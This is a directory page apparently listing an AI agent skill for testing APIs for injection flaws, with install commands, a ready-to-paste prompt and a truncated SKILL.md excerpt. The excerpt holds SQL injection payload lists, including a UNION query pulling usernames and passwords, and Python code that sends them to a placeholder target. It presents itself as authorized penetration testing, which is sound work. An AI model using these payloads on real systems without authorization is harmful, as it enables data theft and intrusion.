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Misc35k · #5737

exploiting-api-injection-vulnerabilities

Helps your agent test APIs for injection flaws. It crafts special commands to extract data, run commands, or access internal services.

What it does

This tool checks if information sent to a website (like usernames or passwords) can be used to trick the system into revealing data or executing commands without permission. It looks for common security flaws in APIs.

When to use it

  • ✓When testing login or search forms on a website.
  • ✓When an API accepts URLs or website addresses.
  • ✓To check if sensitive data can be exposed.

Example of what to ask your AI

“Check if the login API is vulnerable to SQL injection.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends variations of malicious commands and data to different parts of the API (like text fields, headers, or request bodies). It then analyzes the responses to see if any attempt successfully exploited a flaw.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-api-injection-vulnerabilities

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-api-injection-vulnerabilities/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Exploiting API Injection Vulnerabilities

When to Use

  • Testing API endpoints that accept user input for database queries, system commands, or external requests
  • Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs
  • Evaluating input validation and parameterized query usage across all API endpoints
  • Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests
  • Identifying injection points in headers, path parameters, query strings, and JSON/XML request bodies

Do not use without written authorization. Injection testing can modify or destroy data and compromise backend systems.

Prerequisites

  • Written authorization specifying target API and backend systems in scope
  • Python 3.10+ with requests library
  • SQLMap for automated SQL injection detection and exploitation
  • Burp Suite Professional with Active Scan capabilities
  • Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)
  • Isolated test environment to avoid production data corruption

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Injection Point Identification

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Map all input points across the API
injection_points = [
    # Path parameters
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # Query parameters
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON body parameters
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # Header parameters
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]

Step 2: SQL Injection Testing

# SQL injection payloads for different contexts
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """Test a parameter for SQL injection."""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)

…
FAQ

What is 'injection' in this context?

It's when an attacker inserts unexpected commands or data into an input field to make the system behave unintentionally, such as revealing information or performing actions.

What are 'API vulnerabilities'?

These are security flaws in Application Programming Interfaces (APIs) that attackers can exploit to gain unauthorized access or cause damage.

What is SSRF?

SSRF (Server-Side Request Forgery) is a vulnerability where an attacker can trick the web server into making requests to other internal or external services, as if the server itself were making the request.

Details

Original description by the author

Tests API parameters, headers, and request bodies for injection flaws — SQL injection, NoSQL injection, OS command injection, LDAP injection, and SSRF — by crafting payloads tailored to the target backend to extract data, execute commands, or reach internal services, mapped to OWASP API8:2023 and API7:2023 SSRF. Use when performing SQLi, NoSQL injection, command injection, or SSRF testing against

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#5737
License
Apache-2.0
Updated
8/31/2026

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